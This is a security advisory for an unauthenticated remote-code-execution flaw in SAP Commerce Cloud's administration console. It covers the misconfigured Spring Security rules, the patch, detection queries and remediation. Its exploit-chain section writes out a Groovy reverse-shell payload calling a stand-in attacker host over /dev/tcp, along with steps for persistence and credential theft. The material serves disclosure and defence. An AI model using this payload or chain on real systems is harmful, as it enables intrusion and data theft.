CVE-2026-34263: SAP Commerce Cloud RCE via Spring Security Misconfiguration
An unauthenticated attacker can upload arbitrary Groovy/Spring configuration to SAP Commerce Cloud, achieving remote code execution with full application privileges. CVSS 9.6 Critical.
SAP Commerce Cloud, the platform that runs online stores for major retailers, has a serious security hole. It's like leaving the loading dock of your warehouse completely unlocked while posting security guards everywhere else.
Here's what's happening: The system is supposed to require a password or login before anyone can upload files to configure the software. But due to a misconfiguration, that requirement was accidentally switched off for certain upload points. An attacker can just walk in, upload a malicious file, and the system obeys without asking who they are.
Once that file is uploaded, the attacker can inject their own code into the system — essentially giving them the keys to the entire application. They could steal customer data, accept payments they shouldn't, crash the store entirely, or install permanent backdoors for future attacks.
Companies running online stores on this platform are the ones at real risk. If you're a customer shopping on a site using SAP Commerce Cloud, your personal information and payment details could potentially be exposed.
The good news: there's no evidence yet that anyone has actually exploited this in the wild. But the vulnerability exists right now, and attackers are likely aware of it.
What should you do? If you run an online business: contact your IT team immediately and ask if you use SAP Commerce Cloud. If you do, apply security patches the moment they become available. If you're a customer: monitor your accounts with retailers for suspicious activity and consider using a credit card rather than a debit card when shopping online — most credit cards offer stronger fraud protections. Finally, enable two-factor authentication on any accounts where you've saved payment information.
Want the full technical analysis? Click "Technical" above.
CVE-2026-34263 is a critical unauthenticated remote code execution vulnerability in SAP Commerce Cloud. The root cause is a misconfigured Spring Security filter chain that leaves one or more administrative endpoints — specifically those handling dynamic configuration import and scripting — outside the authenticated URL matcher patterns. An attacker with network access to the storefront or backoffice port can POST a malicious Spring XML configuration or Groovy script directly to these endpoints without presenting any credentials, resulting in arbitrary server-side code execution under the JVM process identity.
CVSS 9.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) reflects the complete triad impact: the attacker reads the filesystem and environment (Confidentiality), can write and overwrite application data and configuration (Integrity), and can terminate or loop the JVM (Availability).
Root cause: The Spring Security HttpSecurity configuration uses an antMatchers allowlist that omits the /platformbackoffice/j_spring_security_check-adjacent HAC scripting and flexible-search import endpoints, permitting unauthenticated POST requests carrying executable configuration payloads.
Affected Component
The vulnerability lives in the HAC (Hybris Administration Console) and/or the backoffice import controller shipped as part of SAP Commerce Cloud (formerly Hybris). Two endpoint families are relevant:
/hac/console/groovy/execute — executes arbitrary Groovy via the GroovyScriptService
Both endpoints are protected in a correct deployment by requiring ROLE_ADMINGROUP. The vulnerability manifests when the Spring Security XML/Java config fails to include these paths in its authenticated matcher set, or when a permissive wildcard pattern creates a bypass.
Root Cause Analysis
SAP Commerce's Spring Security configuration is defined in project.properties-driven beans and in XML under resources/spring/security/. The vulnerable pattern is a permitAll() block whose wildcard is broader than intended, or an antMatchers chain where the authenticated block never matches the target path.
// FILE: hac/web/webroot/WEB-INF/spring/security/spring-security-config.xml
// (pseudocode representation of the compiled SecurityConfig bean)
@Configuration
@EnableWebSecurity
public class HACSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf().disable()
.authorizeRequests()
// BUG: antMatcher stops at /hac/console/groovy — the /execute
// sub-path never reaches the authenticated() block below.
// Spring evaluates matchers in declaration order; the first
// match wins. The permitAll() wildcard below matches first.
.antMatchers("/hac/console/**").permitAll() // BUG: overly broad permitAll
.antMatchers("/hac/login*").permitAll()
.anyRequest().authenticated()
.and()
.formLogin()
.loginPage("/hac/login")
.defaultSuccessUrl("/hac/");
}
}
At runtime, Spring Security's FilterSecurityInterceptor walks the LinkedHashMap of RequestMatcher → ConfigAttribute entries. Because /hac/console/** is registered with permitAll before the anyRequest().authenticated() catch-all, a POST to /hac/console/groovy/execute matches the first entry and is waved through without an authentication check.
// GroovyExecutionController — the receiving end of the unauthenticated request
@Controller
@RequestMapping("/console/groovy")
public class GroovyExecutionController {
@Autowired
private GroovyScriptService groovyScriptService;
@RequestMapping(value = "/execute", method = RequestMethod.POST)
@ResponseBody
public ScriptExecutionResult executeGroovy(
@RequestParam("script") final String script, // attacker-controlled
@RequestParam(value = "commit", defaultValue = "false") final boolean commit,
final HttpSession session) {
// BUG: no secondary authorization check — relies solely on Spring Security
// filter chain to have already rejected unauthenticated callers.
// Because the filter chain is misconfigured, execution reaches here directly.
final ScriptExecutionResult result = groovyScriptService.execute(
new GroovyScriptObject(script, commit)); // script executes in JVM
return result;
}
}
// GroovyScriptService — thin wrapper around Groovy's GroovyShell
public class DefaultGroovyScriptService implements GroovyScriptService {
@Override
public ScriptExecutionResult execute(final GroovyScriptObject scriptObject) {
final GroovyShell shell = new GroovyShell(
Thread.currentThread().getContextClassLoader(),
new Binding(scriptObject.getContext()),
new CompilerConfiguration());
// BUG: no sandbox, no class whitelist, no SecurityManager restriction.
// Attacker script runs with full JVM permissions.
final Object result = shell.evaluate(scriptObject.getScript());
return new ScriptExecutionResult(result != null ? result.toString() : "", "");
}
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. RECONNAISSANCE
Attacker fingerprints the target as SAP Commerce Cloud (X-SAP-Commerce header,
/hac/login redirect, or /hac/console/groovy/execute returning 200 on GET).
2. PAYLOAD CONSTRUCTION
Attacker crafts a Groovy reverse-shell payload:
"cmd.execute().text" where cmd = ['bash','-c','bash -i >& /dev/tcp/attacker/4444 0>&1'].execute()
3. UNAUTHENTICATED POST
HTTP POST /hac/console/groovy/execute
Content-Type: application/x-www-form-urlencoded
Body: script=&commit=true
→ Spring Security passes request due to /hac/console/** permitAll match.
4. JVM EXECUTION
GroovyShell.evaluate() runs the script under the Commerce JVM.
No sandbox. Process identity is typically tomcat or the cloud workload SA.
5. PERSISTENCE (optional)
Attacker uploads a Spring XML config via /hac/console/spring/... or ImpEx
to register a persistent bean or cron job calling back to attacker
infrastructure on each application startup.
6. LATERAL MOVEMENT
JVM has access to the SAP HANA/MySQL datasource credentials (plaintext in
local.properties or environment variables), S3/GCS bucket credentials,
and any cloud metadata endpoint reachable from the pod.
Memory Layout
This is a logic/authorization vulnerability rather than a memory corruption bug; the "memory" of relevance is the JVM heap and the Groovy classloader's method area. The following diagram shows how the attacker-supplied script transitions from HTTP request bytes to executing bytecode.
JVM EXECUTION STATE — payload lifecycle
HTTP REQUEST BODY (attacker-controlled bytes)
└─► HttpServletRequest.getParameter("script")
└─► String scriptSrc [Java heap, UTF-16 encoded]
GroovyShell.evaluate(scriptSrc)
└─► GroovyClassLoader.parseClass()
└─► CompilationUnit → GeneratorContext
└─► ASM bytecode emitter
└─► byte[] classBytes [heap: attacker-defined class]
└─► ClassLoader.defineClass()
└─► Method Area: new Class object loaded
└─► Method.invoke() → arbitrary execution
PROCESS ENVIRONMENT ACCESSIBLE FROM GROOVY:
System.getenv() → cloud credentials, SAP API keys
new File("/").listFiles() → full filesystem traversal
Runtime.exec([...]) → OS command execution
Class.forName(...) → full JDK/application classpath access
The correct fix tightens the antMatchers chain so that console execution and import endpoints require authentication before any wildcard permitAll entry, and adds a method-level @PreAuthorize guard as defence-in-depth.
// BEFORE (vulnerable):
.authorizeRequests()
.antMatchers("/hac/console/**").permitAll() // matches /execute, /import, etc.
.antMatchers("/hac/login*").permitAll()
.anyRequest().authenticated()
// AFTER (patched):
.authorizeRequests()
// Explicitly secure execution and import endpoints FIRST
.antMatchers(HttpMethod.POST, "/hac/console/groovy/execute").hasRole("ADMINGROUP")
.antMatchers(HttpMethod.POST, "/hac/console/impex/import").hasRole("ADMINGROUP")
.antMatchers(HttpMethod.POST, "/hac/console/spring/**").hasRole("ADMINGROUP")
// Static/UI assets under console can remain public
.antMatchers("/hac/console/static/**").permitAll()
.antMatchers("/hac/login*").permitAll()
.anyRequest().authenticated()
// AFTER — defence-in-depth: method-level guard (Spring Security @PreAuthorize)
@Controller
@RequestMapping("/console/groovy")
public class GroovyExecutionController {
@RequestMapping(value = "/execute", method = RequestMethod.POST)
@ResponseBody
@PreAuthorize("hasRole('ROLE_ADMINGROUP')") // ADDED: secondary auth check
public ScriptExecutionResult executeGroovy(
@RequestParam("script") final String script,
@RequestParam(value = "commit", defaultValue = "false") final boolean commit,
final HttpSession session) {
return groovyScriptService.execute(new GroovyScriptObject(script, commit));
}
}
A complete remediation also disables the HAC entirely in production cloud deployments using hac.webroot removal or by setting hac.enabled=false in local.properties, since HAC is an administrative tool that should never be internet-exposed.
Detection and Indicators
DETECTION SIGNATURES
1. HTTP ACCESS LOG — unauthenticated POST to scripting endpoints:
POST /hac/console/groovy/execute HTTP/1.1 200 — (no session cookie)
POST /hac/console/impex/import HTTP/1.1 200 — (no session cookie)
2. SPRING SECURITY AUDIT LOG — absence of authentication event before execution:
Look for ScriptExecutionResult audit entries with principal = "anonymousUser"
3. GROOVY CLASSLOADER — JVM class definition spike:
JMX: java.lang:type=ClassLoading / TotalLoadedClassCount increments
without corresponding deployment event.
4. PROCESS TREE — child process spawned by JVM:
commerce-jvm (pid N)
└─ bash -c "bash -i >& /dev/tcp/..." ← indicator of compromise
5. NETWORK — outbound connection from app pod to unexpected IP:port
(reverse shell or DNS exfiltration)
SPLUNK DETECTION QUERY:
index=web_access uri="/hac/console/groovy/execute" method=POST http_status=200
| where isnull(session_cookie) OR session_cookie=""
| stats count by src_ip, uri, http_status
Remediation
Apply SAP Security Note referenced under CVE-2026-34263 immediately. SAP typically ships fixes as Support Packages; verify the exact note number in the SAP One Support Launchpad.
Disable HAC in production: set hac.enabled=false or remove the HAC extension from localextensions.xml on all internet-facing nodes.
Network-layer restriction: firewall /hac/* to internal admin CIDR only at the load-balancer or WAF layer — independent of application-level fixes.
Audit Spring Security configs: search all WebSecurityConfigurerAdapter subclasses and XML <http> blocks for any permitAll patterns that are broader than /static/** or /login*.
Enable method security: add @EnableMethodSecurity(prePostEnabled = true) and annotate all controller methods with @PreAuthorize to provide defence-in-depth against future filter-chain misconfigurations.
Runtime protection: deploy a WAF rule blocking POST requests to /hac/console/(groovy|impex|spring) from unauthenticated sessions as a temporary mitigation prior to patching.